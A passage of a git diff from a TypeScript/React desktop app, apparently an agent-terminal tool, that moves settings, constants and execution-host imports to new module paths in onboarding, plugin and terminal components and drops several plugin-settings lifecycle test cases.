b/src/renderer/src/components/onboarding/NotificationStep.tsx index 7476d076322..f65a1cb5060 100644 --- a/src/renderer/src/components/onboarding/NotificationStep.tsx +++ b/src/renderer/src/components/onboarding/NotificationStep.tsx @@ -1,7 +1,7 @@ import { useCallback, useRef, useState } from 'react' import { BellRing, Upload } from 'lucide-react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { usesCustomNotificationSound } from '../../../../shared/notifications/notification-settings-types' import { Button } from '@/components/ui/button' import { diff --git a/src/renderer/src/components/onboarding/ThemeLookGallery.tsx b/src/renderer/src/components/onboarding/ThemeLookGallery.tsx index d0daab6eeca..35b45e72098 100644 --- a/src/renderer/src/components/onboarding/ThemeLookGallery.tsx +++ b/src/renderer/src/components/onboarding/ThemeLookGallery.tsx @@ -3,7 +3,7 @@ import { useMemo } from 'react' import { useTranslate } from '@/i18n/use-translate' import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision' import { usePluginTerminalThemes, usePluginThemes } from '@/store/plugins/appearance/plugin-themes' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { SettingsSegmentedControl } from '../settings/form-controls/SettingsFormControls' import { buildThemeLooks, type ThemeLook, type ThemeLookBase } from './onboarding-theme-looks' import { selectedThemeLookId } from './onboarding-theme-look-settings' diff --git a/src/renderer/src/components/onboarding/ThemeModeControl.tsx b/src/renderer/src/components/onboarding/ThemeModeControl.tsx index 33953931016..a85f514fba9 100644 --- a/src/renderer/src/components/onboarding/ThemeModeControl.tsx +++ b/src/renderer/src/components/onboarding/ThemeModeControl.tsx @@ -1,7 +1,7 @@ import type React from 'react' import { Monitor, Moon, Sun } from 'lucide-react' import { useTranslate } from '@/i18n/use-translate' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { SettingsSegmentedControl } from '../settings/form-controls/SettingsFormControls' /** The step's primary choice: System, Dark, or Light. */ diff --git a/src/renderer/src/components/onboarding/ThemeStep.fixture.tsx b/src/renderer/src/components/onboarding/ThemeStep.fixture.tsx index 7535fbcfe29..fa3d6426ac7 100644 --- a/src/renderer/src/components/onboarding/ThemeStep.fixture.tsx +++ b/src/renderer/src/components/onboarding/ThemeStep.fixture.tsx @@ -1,7 +1,7 @@ import { useState } from 'react' import { defineFixture } from '../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../shared/constants' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { ThemeStep } from './ThemeStep' import { seedPluginThemes } from './onboarding-theme-fixture-themes' diff --git a/src/renderer/src/components/onboarding/ThemeStep.tsx b/src/renderer/src/components/onboarding/ThemeStep.tsx index 66e6bbc3d47..859ab63c7e8 100644 --- a/src/renderer/src/components/onboarding/ThemeStep.tsx +++ b/src/renderer/src/components/onboarding/ThemeStep.tsx @@ -15,7 +15,7 @@ import { terminalConfigImportSettingsUpdate } from '../../../../shared/terminal/ import type { TerminalConfigImportPreview } from '../../../../shared/terminal/appearance/terminal-config-import-preview' import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme' import { useSystemPrefersDark } from '@/hooks/theme/use-system-prefers-dark' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { DiscoveryStatusEmitted } from '../../../../shared/onboarding/onboarding-state-types' import type { ThemeLook, ThemeLookBase } from './onboarding-theme-looks' diff --git a/src/renderer/src/components/onboarding/WindowsTerminalStep.tsx b/src/renderer/src/components/onboarding/WindowsTerminalStep.tsx index 669b9789e3d..7dd419167da 100644 --- a/src/renderer/src/components/onboarding/WindowsTerminalStep.tsx +++ b/src/renderer/src/components/onboarding/WindowsTerminalStep.tsx @@ -2,7 +2,7 @@ import { Check } from 'lucide-react' import { useCallback, useState } from 'react' import type { BuiltInWindowsTerminalShell } from '../../../../shared/shell/launch/windows-terminal-shell' import { WINDOWS_GIT_BASH_SHELL } from '../../../../shared/shell/launch/windows-terminal-shell' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { cn } from '@/lib/class-names' import { useWindowsTerminalCapabilities } from '@/runtime/hosts/capabilities/windows-terminal-capabilities' import { SettingsSegmentedControl } from '../settings/form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/onboarding/YoloPermissionsControl.fixture.tsx b/src/renderer/src/components/onboarding/YoloPermissionsControl.fixture.tsx index 962441fe1d8..86627fac99a 100644 --- a/src/renderer/src/components/onboarding/YoloPermissionsControl.fixture.tsx +++ b/src/renderer/src/components/onboarding/YoloPermissionsControl.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { YoloPermissionsControl } from './YoloPermissionsControl' const store = { diff --git a/src/renderer/src/components/onboarding/onboarding-completion-agent-launch.ts b/src/renderer/src/components/onboarding/onboarding-completion-agent-launch.ts index 4975e2b2983..f971220d117 100644 --- a/src/renderer/src/components/onboarding/onboarding-completion-agent-launch.ts +++ b/src/renderer/src/components/onboarding/onboarding-completion-agent-launch.ts @@ -2,7 +2,7 @@ import { useAppStore } from '@/store' import { resolveDefaultAgentForWorktree } from '@/lib/agent-session/launch/shortcuts/agent-tab-shortcuts' import { agentTabLaunchStore } from '@/lib/agent-session/launch/new-tab/launch-agent-execution-context' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { launchAgentInNewTabWithOutcome } from '@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab' import { createNonSecureContextUuid } from '../../../../shared/identifiers/non-secure-context-uuid' diff --git a/src/renderer/src/components/onboarding/onboarding-flow-state.ts b/src/renderer/src/components/onboarding/onboarding-flow-state.ts index de2baba6149..079721057b6 100644 --- a/src/renderer/src/components/onboarding/onboarding-flow-state.ts +++ b/src/renderer/src/components/onboarding/onboarding-flow-state.ts @@ -6,7 +6,7 @@ import { ONBOARDING_FLOW_VERSION } from '../../../../shared/onboarding/onboarding-defaults' import type { EventProps } from '../../../../shared/telemetry/telemetry-event-classification' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import { STEPS, type AgentSurface } from './use-onboarding-flow-types' diff --git a/src/renderer/src/components/onboarding/onboarding-folder-agent-launch.ts b/src/renderer/src/components/onboarding/onboarding-folder-agent-launch.ts index 7c35ca79d13..9ab2cdcfc22 100644 --- a/src/renderer/src/components/onboarding/onboarding-folder-agent-launch.ts +++ b/src/renderer/src/components/onboarding/onboarding-folder-agent-launch.ts @@ -1,6 +1,6 @@ import { ensureAgentLaunchPreferences } from '@/runtime/agent-launch-settings/use-host-agent-launch-preferences' import type { AgentLaunchPreferences } from '@/runtime/agent-launch-settings/host-agent-launch-preferences-resource' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/onboarding/onboarding-folder-agent-startup.ts b/src/renderer/src/components/onboarding/onboarding-folder-agent-startup.ts index cd257a4930e..fa22a606794 100644 --- a/src/renderer/src/components/onboarding/onboarding-folder-agent-startup.ts +++ b/src/renderer/src/components/onboarding/onboarding-folder-agent-startup.ts @@ -6,7 +6,7 @@ import { resolveAgentStartupPlanInputs } from '../../../../shared/agent-launch/s import type { AgentStartedTelemetry } from '@/lib/workspace/creation/worktree-startup-payload' import type { StartupCommandDelivery } from '../../../../shared/agent-launch/startup/codex-startup-delivery' import type { SleepingAgentLaunchConfig } from '../../../../shared/agent-session/lifecycle/agent-session-resume' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' import type { AgentStartupShell } from '../../../../shared/agent-launch/startup/tui-agent-startup-shell' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' diff --git a/src/renderer/src/components/onboarding/onboarding-settings-hydration.ts b/src/renderer/src/components/onboarding/onboarding-settings-hydration.ts index f9c36e76fee..bb0d458749a 100644 --- a/src/renderer/src/components/onboarding/onboarding-settings-hydration.ts +++ b/src/renderer/src/components/onboarding/onboarding-settings-hydration.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' export type OnboardingSettingsHydrationUpdate = { diff --git a/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts b/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts index 0e4425c51bc..c3e9f4d827f 100644 --- a/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts +++ b/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { PluginTerminalThemeRegistration } from '../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact' import { MATCH_TERMINAL_APP_THEME, diff --git a/src/renderer/src/components/onboarding/onboarding-theme-looks.ts b/src/renderer/src/components/onboarding/onboarding-theme-looks.ts index cd8d18f83e0..7fb48160893 100644 --- a/src/renderer/src/components/onboarding/onboarding-theme-looks.ts +++ b/src/renderer/src/components/onboarding/onboarding-theme-looks.ts @@ -1,5 +1,5 @@ import type { ITheme } from '@xterm/xterm' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { completePluginAppThemeTokens, type PluginThemeRegistration diff --git a/src/renderer/src/components/onboarding/use-onboarding-agent-surface.ts b/src/renderer/src/components/onboarding/use-onboarding-agent-surface.ts index 682cd2909e9..09102ffc7f2 100644 --- a/src/renderer/src/components/onboarding/use-onboarding-agent-surface.ts +++ b/src/renderer/src/components/onboarding/use-onboarding-agent-surface.ts @@ -1,6 +1,6 @@ import { useCallback, useEffect, useState, type Dispatch, type SetStateAction } from 'react' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import { nativeChatPreferenceFor } from '../../../../shared/agent-launch/choices/structured-native-chat-launch-route' import { diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow-actions.ts b/src/renderer/src/components/onboarding/use-onboarding-flow-actions.ts index 8b2d35ebf14..21996b791ab 100644 --- a/src/renderer/src/components/onboarding/use-onboarding-flow-actions.ts +++ b/src/renderer/src/components/onboarding/use-onboarding-flow-actions.ts @@ -7,7 +7,7 @@ import { useAppStore } from '@/store/index' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import { launchOnboardingCompletionAgent } from './onboarding-completion-agent-launch' import { ONBOARDING_FINAL_STEP } from '../../../../shared/onboarding/onboarding-defaults' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import { buildWindowsTerminalSnapshotPayload } from './windows-terminal-onboarding-telemetry' diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow-persistence.ts b/src/renderer/src/components/onboarding/use-onboarding-flow-persistence.ts index 44cca374370..1d83e123912 100644 --- a/src/renderer/src/components/onboarding/use-onboarding-flow-persistence.ts +++ b/src/renderer/src/components/onboarding/use-onboarding-flow-persistence.ts @@ -8,7 +8,7 @@ import { ONBOARDING_FLOW_VERSION } from '../../../../shared/onboarding/onboarding-defaults' import type { EventProps } from '../../../../shared/telemetry/telemetry-event-classification' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import { applyAllAgentsPermission } from '../../../../shared/agent-launch/permissions/tui-agent-permission-choice' diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow-telemetry.ts b/src/renderer/src/components/onboarding/use-onboarding-flow-telemetry.ts index d27f07f58a3..3a52c9e5daf 100644 --- a/src/renderer/src/components/onboarding/use-onboarding-flow-telemetry.ts +++ b/src/renderer/src/components/onboarding/use-onboarding-flow-telemetry.ts @@ -2,7 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react' import { applyDocumentTheme } from '@/app-shell/appearance/document-theme' import { track } from '@/diagnostics/telemetry/telemetry' import { ONBOARDING_FINAL_STEP } from '../../../../shared/onboarding/onboarding-defaults' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { EventProps } from '../../../../shared/telemetry/telemetry-event-classification' import type { AppState } from '@/store/types' import { diff --git a/src/renderer/src/components/onboarding/use-onboarding-flow.ts b/src/renderer/src/components/onboarding/use-onboarding-flow.ts index 07e9c592af1..d5f1241ebb5 100644 --- a/src/renderer/src/components/onboarding/use-onboarding-flow.ts +++ b/src/renderer/src/components/onboarding/use-onboarding-flow.ts @@ -7,7 +7,7 @@ import { applyDocumentTheme } from '@/app-shell/appearance/document-theme' import { resolvePaintedTheme } from '@/app-shell/appearance/terminal-app-theme' import { track } from '@/diagnostics/telemetry/telemetry' import { buildAgentPickedPayload } from './agent-picked-payload' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import { STEPS, stepIndexAfterCompletedStep } from './use-onboarding-flow-types' diff --git a/src/renderer/src/components/onboarding/use-onboarding-yolo-permissions.ts b/src/renderer/src/components/onboarding/use-onboarding-yolo-permissions.ts index a5b6ab0e28a..80784147f50 100644 --- a/src/renderer/src/components/onboarding/use-onboarding-yolo-permissions.ts +++ b/src/renderer/src/components/onboarding/use-onboarding-yolo-permissions.ts @@ -1,5 +1,5 @@ import { useCallback, useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' export function savedYoloPermissions(settings: GlobalSettings | null | undefined): boolean { const choice = settings?.agentPermissionDefault ?? 'full-access' diff --git a/src/renderer/src/components/onboarding/windows-terminal-onboarding-telemetry.ts b/src/renderer/src/components/onboarding/windows-terminal-onboarding-telemetry.ts index b8ffeff0995..a6c0c310635 100644 --- a/src/renderer/src/components/onboarding/windows-terminal-onboarding-telemetry.ts +++ b/src/renderer/src/components/onboarding/windows-terminal-onboarding-telemetry.ts @@ -1,6 +1,6 @@ import { WINDOWS_GIT_BASH_SHELL } from '../../../../shared/shell/launch/windows-terminal-shell' import type { EventProps } from '../../../../shared/telemetry/telemetry-event-classification' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' type WindowsTerminalSnapshot = EventProps<'onboarding_windows_terminal_snapshot'> diff --git a/src/renderer/src/components/orchestration-crew/use-terminal-crew-identity.ts b/src/renderer/src/components/orchestration-crew/use-terminal-crew-identity.ts index c1f7e92946f..a0cb6b1f944 100644 --- a/src/renderer/src/components/orchestration-crew/use-terminal-crew-identity.ts +++ b/src/renderer/src/components/orchestration-crew/use-terminal-crew-identity.ts @@ -1,7 +1,7 @@ import { useEffect, useMemo, useState } from 'react' import { useAppStore } from '@/store' import { getKnownExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { parseRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx b/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx index f08c5604ae1..f6be80e926c 100644 --- a/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx +++ b/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx @@ -17,7 +17,7 @@ import { openStandaloneTerminal } from '@/components/standalone-terminal/open-st import { removePlainSshPanel } from '@/ssh/plain-ssh-terminal-panels' import { usePluginFontReady } from '@/store/plugins/appearance/plugin-fonts' import type { ITheme, Terminal } from '@xterm/xterm' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { PlainSshTerminalEvent, PlainSshTerminalOpenResult diff --git a/src/renderer/src/components/plugins/list/PluginsSettingsSection.lifecycle.test.tsx b/src/renderer/src/components/plugins/list/PluginsSettingsSection.lifecycle.test.tsx index 37e34ea58e9..244ca6c8719 100644 --- a/src/renderer/src/components/plugins/list/PluginsSettingsSection.lifecycle.test.tsx +++ b/src/renderer/src/components/plugins/list/PluginsSettingsSection.lifecycle.test.tsx @@ -8,8 +8,8 @@ import { act, useState } from 'react' import { createRoot, type Root } from 'react-dom/client' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { PluginHostListEntry } from '../../../../../shared/plugins/plugin-list-entry' -import { getDefaultSettings } from '../../../../../shared/constants' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { PluginsSettingsSection } from './PluginsSettingsSection' import { PluginInstallTrustDialogHost } from '../dialogs/PluginInstallTrustDialog' @@ -184,33 +184,7 @@ function click(element: Element): void { element.dispatchEvent(new MouseEvent('click', { bubbles: true })) } -async function openDevelopmentFolders(container: HTMLElement): Promise { - const open = Array.from(container.querySelectorAll('button')).find( - (button) => button.textContent === 'Development folders…' - ) - if (!open) { - throw new Error('missing development folders action') - } - await act(async () => click(open)) -} - /** Answers the open "Make sure you trust …" dialog, which must name this kind of warning; returns what it said. */ -async function answerTrust(kind: string, label: string): Promise { - const dialog = document.querySelector('[data-plugin-install-trust]') - if (!dialog) { - throw new Error('missing install trust dialog') - } - expect(dialog.dataset.pluginInstallTrust).toBe(kind) - const answer = Array.from(dialog.querySelectorAll('button')).find( - (button) => button.textContent === label - ) - if (!answer) { - throw new Error(`missing ${label} in the trust dialog`) - } - const text = dialog.textContent ?? '' - await act(async () => click(answer)) - return text -} async function renderSection( settings: GlobalSettings = { ...getDefaultSettings('/tmp'), pluginSystemEnabled: true }, @@ -296,54 +270,6 @@ afterEach(() => { }) describe('PluginsSettingsSection lifecycle', () => { - it('suppresses stale lists and cleans up the change subscription', async () => { - const first = deferred() - const second = deferred() - let onChanged: (() => void) | undefined - const { unsubscribe } = installApi({ - list: vi.fn().mockReturnValueOnce(first.promise).mockReturnValueOnce(second.promise), - onChanged: vi.fn((callback: () => void) => { - onChanged = callback - return unsubscribe - }) - }) - const { root, container } = await renderSection() - - act(() => onChanged?.()) - await act(async () => second.resolve([{ ...plugin, name: 'Newer Notes' }])) - await act(async () => first.resolve([{ ...plugin, name: 'Older Notes' }])) - - expect(container.textContent).toContain('Newer Notes') - expect(container.textContent).not.toContain('Older Notes') - act(() => root.unmount()) - expect(unsubscribe).toHaveBeenCalledOnce() - }) - - it('shows what is true after a Restart fails halfway', async () => { - const crashed = { ...plugin, status: 'errored' as const } - const stopped = { ...plugin, status: 'disabled' as const } - const list = vi.fn().mockResolvedValueOnce([crashed]).mockResolvedValue([stopped]) - installApi({ - list, - setEnabled: vi - .fn() - .mockResolvedValueOnce([stopped]) - .mockRejectedValueOnce(new Error('worker failed to start')) - }) - const { container } = await renderSection() - const restart = Array.from(container.querySelectorAll('button')).find( - (button) => button.textContent?.trim() === 'Restart' - ) - if (!restart) { - throw new Error('missing restart action') - } - - await act(async () => click(restart)) - - expect(list).toHaveBeenCalledTimes(2) - expect(toggleAction(toggleItem(container, plugin.pluginKey))).toBe('Enable') - }) - it('accepts overlapping mutations in completion order without regressing final state', async () => { const firstToggle = deferred() const secondToggle = deferred() @@ -377,87 +303,4 @@ describe('PluginsSettingsSection lifecycle', () => { expect(toggleAction(notes())).toBe('Enable') expect(toggleAction(tasks())).toBe('Enable') }) - - it('prunes dialogs and stale logs after external removal and same-key reinstall', async () => { - const removedList = deferred() - const reinstalledList = deferred() - const oldLogs = deferred>>() - const freshLogs = deferred>>() - const pendingPlugin = { ...plugin, status: 'pending' as const, hasWorker: true } - let onChanged: (() => void) | undefined - const unsubscribe = vi.fn() - installApi({ - list: vi - .fn() - .mockResolvedValueOnce([pendingPlugin]) - .mockReturnValueOnce(removedList.promise) - .mockReturnValueOnce(reinstalledList.promise), - onChanged: vi.fn((callback: () => void) => { - onChanged = callback - return unsubscribe - }), - getLogs: vi.fn().mockReturnValueOnce(oldLogs.promise).mockReturnValueOnce(freshLogs.promise) - }) - const { container } = await renderSection() - const findButton = (label: string): HTMLButtonElement | undefined => - Array.from(container.querySelectorAll('button')).find( - (button) => button.textContent?.trim() === label - ) - - // Why from the row: View logs opens the plugin's page, where its review and Remove… live. - act(() => click(findButton('View logs')!)) - act(() => click(findButton('Mark consent dirty')!)) - act(() => click(findButton('Remove…')!)) - expect(container.textContent).toContain('Consent local state') - expect(container.textContent).toContain('Confirm remove') - - act(() => onChanged?.()) - await act(async () => removedList.resolve([])) - - expect(container.textContent).not.toContain('Approve') - expect(container.textContent).not.toContain('Confirm remove') - act(() => onChanged?.()) - await act(async () => reinstalledList.resolve([pendingPlugin])) - expect(container.textContent).not.toContain('Loading logs…') - - act(() => click(findButton('View logs')!)) - expect(container.textContent).toContain('Approve') - expect(container.textContent).not.toContain('Consent local state') - await act(async () => freshLogs.resolve([{ ts: 2, level: 'info', line: 'fresh installation' }])) - await act(async () => oldLogs.resolve([{ ts: 1, level: 'info', line: 'stale installation' }])) - - expect(container.textContent).toContain('fresh installation') - expect(container.textContent).not.toContain('stale installation') - }) - - it('preserves development input and clears busy when adding a path fails', async () => { - const updateSettings = vi.fn().mockRejectedValue(new Error('disk write failed')) - const { container } = await renderSection(undefined, updateSettings) - await openDevelopmentFolders(container) - const input = document.querySelector('#plugin-development-path') - if (!input) { - throw new Error('missing development path input') - } - await act(async () => { - Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call( - input, - '/plugins/demo' - ) - input.dispatchEvent(new Event('input', { bubbles: true })) - }) - const add = Array.from(document.querySelectorAll('button')).find( - (button) => button.textContent === 'Add path' - ) - if (!add) { - throw new Error('missing add path action') - } - - await act(async () => click(add)) - await answerTrust('dev-folder', 'Add folder') - - expect(input.value).toBe('/plugins/demo') - expect(add.disabled).toBe(false) - expect(window.api.plugins.refresh).not.toHaveBeenCalled() - expect(document.body.textContent).toContain('Could not save plugin settings.') - }) }) diff --git a/src/renderer/src/components/plugins/list/PluginsSettingsSection.tsx b/src/renderer/src/components/plugins/list/PluginsSettingsSection.tsx index 4e8a2a6a483..2516cca3899 100644 --- a/src/renderer/src/components/plugins/list/PluginsSettingsSection.tsx +++ b/src/renderer/src/components/plugins/list/PluginsSettingsSection.tsx @@ -3,7 +3,7 @@ import { useEffect, useEffectEvent, useRef, useState } from 'react' import { toast } from 'sonner' import type { PluginHostInstallSource } from '../../../../../preload/api/plugins/plugin-host-api' import type { PluginHostListEntry } from '../../../../../shared/plugins/plugin-list-entry' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' import { PluginDevelopmentDialog } from '../dialogs/PluginDevelopmentDialog' diff --git a/src/renderer/src/components/plugins/page/PluginThemeUseNow.tsx b/src/renderer/src/components/plugins/page/PluginThemeUseNow.tsx index d12233b0d38..281b8cadc07 100644 --- a/src/renderer/src/components/plugins/page/PluginThemeUseNow.tsx +++ b/src/renderer/src/components/plugins/page/PluginThemeUseNow.tsx @@ -5,7 +5,7 @@ import { usePluginIconThemes } from '@/store/plugins/appearance/plugin-icon-them import { useSettingsDarkTheme } from '@/hooks/use-document-dark-theme' import { selectTerminalTheme } from '../../../../../shared/terminal-themes/terminal-theme-selection' import { pluginAppThemeSlotUpdate } from '../../../../../shared/plugins/appearance/plugin-theme-settings' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useAppStore } from '@/store' import { usePluginThemes, usePluginTerminalThemes } from '@/store/plugins/appearance/plugin-themes' import { Button } from '../../ui/button' diff --git a/src/renderer/src/components/plugins/state/plugin-theme-apply.ts b/src/renderer/src/components/plugins/state/plugin-theme-apply.ts index 2141fed1d40..9dac8c6cc73 100644 --- a/src/renderer/src/components/plugins/state/plugin-theme-apply.ts +++ b/src/renderer/src/components/plugins/state/plugin-theme-apply.ts @@ -17,7 +17,7 @@ import { usePluginThemeStore, usePluginTerminalThemeStore } from '@/store/plugins/appearance/plugin-themes' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { PluginThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-theme-artifact' import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact' diff --git a/src/renderer/src/components/plugins/state/use-plugin-in-use.ts b/src/renderer/src/components/plugins/state/use-plugin-in-use.ts index f8d75154fa6..2e143753480 100644 --- a/src/renderer/src/components/plugins/state/use-plugin-in-use.ts +++ b/src/renderer/src/components/plugins/state/use-plugin-in-use.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { PluginIconThemeMetadata } from '../../../../../shared/plugins/artifacts/plugin-icon-theme-artifact' import type { PluginLanguagePackRegistration } from '../../../../../shared/plugins/artifacts/plugin-language-pack-artifact' import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact' diff --git a/src/renderer/src/components/plugins/state/use-plugin-settings-writes.ts b/src/renderer/src/components/plugins/state/use-plugin-settings-writes.ts index 46282d68d52..eeda72041e0 100644 --- a/src/renderer/src/components/plugins/state/use-plugin-settings-writes.ts +++ b/src/renderer/src/components/plugins/state/use-plugin-settings-writes.ts @@ -1,6 +1,6 @@ import { isPluginAutoUpdateOn } from '../../../../../shared/plugins/catalog/plugin-update-policy' import { useCallback, useState, type MutableRefObject } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { translate } from '@/i18n/i18n' const saveFailed = (): string => diff --git a/src/renderer/src/components/plugins/view/plugin-view-editor-shot-cleanup.ts b/src/renderer/src/components/plugins/view/plugin-view-editor-shot-cleanup.ts index ecc336ec976..439ba83785e 100644 --- a/src/renderer/src/components/plugins/view/plugin-view-editor-shot-cleanup.ts +++ b/src/renderer/src/components/plugins/view/plugin-view-editor-shot-cleanup.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation' import { useAppStore } from '@/store' diff --git a/src/renderer/src/components/plugins/view/plugin-view-editor-workspace.ts b/src/renderer/src/components/plugins/view/plugin-view-editor-workspace.ts index 82fa0447f79..b3635fbe5bf 100644 --- a/src/renderer/src/components/plugins/view/plugin-view-editor-workspace.ts +++ b/src/renderer/src/components/plugins/view/plugin-view-editor-workspace.ts @@ -1,6 +1,6 @@ import { isWorktreeRetiredByRemoval } from '../../../../../shared/worktree/removal/removal-visibility' import { toWorktreeRelativePath } from '../../../../../shared/terminal/links/terminal-links' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import { getFolderWorkspaceWorktreeHostId } from '../../../../../shared/folder-workspaces/folder-workspace-worktree' import { folderWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' diff --git a/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts b/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts index 957a9bce9a6..5e3ad9f80c2 100644 --- a/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts +++ b/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts @@ -6,7 +6,7 @@ import { type 